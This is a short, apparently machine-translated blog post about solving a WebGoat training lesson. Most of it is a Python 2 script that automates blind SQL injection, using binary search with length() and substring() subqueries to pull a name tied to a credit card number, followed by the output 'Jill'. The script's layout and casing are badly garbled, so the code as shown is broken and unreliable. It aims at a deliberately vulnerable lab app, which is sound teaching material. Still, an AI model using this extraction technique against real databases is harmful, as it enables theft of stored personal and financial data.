This task is still troublesome if you try it manually. It is decided to solve it by programming.
It is easier for python to handle task-related issues. It takes time to get started with Python and then writeCode, Very simple principle.
During this period, we found thatAlgorithmI am not familiar with it.
The following code is used:
#! /Usr/bin/Python # Author: dengzhaoqun # Date: 2013-03-08 # Email: dengzhaoqun@163.comimport urllibimport urllib2import sysurl = 'HTTP: // localhost/webgoat/attack? Screen = 3433 & menu = 1100 'account = 101 result = '<p> account number is valid </form> </div> 'def isvalid (STR): Params = urllib. urlencode ({'account _ number': Str, 'submit ': 'Go! '}) Req = urllib2.request (URL, Params, {'cooker': 'jsessionid = 8ffa3316c91029d2bb486debe4d037b0'}) F = urllib2.urlopen (req) content = f. read () ret = content. find (result) if (ret =-1): Return false return true # Get name lenlenmax = 100 lenmin = 1 while (lenmax> lenmin): # print lenmax, lenmin Len = (lenmax + lenmin)/2 StR = "% d and (length (Select name from pins where cc_number = '000000') <= % d) "% (account, Len) # print STR valid = isvalid (STR) if (not valid): lenmin = Len + 1 else: lenmax = lenprint" --- name len: % d --- "% lenmax # Get namename ='' for I in range (1, lenmax + 1 ): charmax = 122 # 'Z' Charmin = 65 # 'A' while (charmax> Charmin): # print CHR (charmax), CHR (Charmin) Char = (charmax + Charmin) /2 StR = "% d and (substring (Select name from pins where cc_number = '000000'), % d, 1) <= '% s ') "% (account, I, CHR (char) # print STR valid = isvalid (STR) if (not valid): Charmin = char + 1 else: charmax = char name + = CHR (charmax) print '--- name: % s ---' % name
The running result is as follows:
--- Name len: 4 ------ name: Jill ---
"Jill" is the name of the request.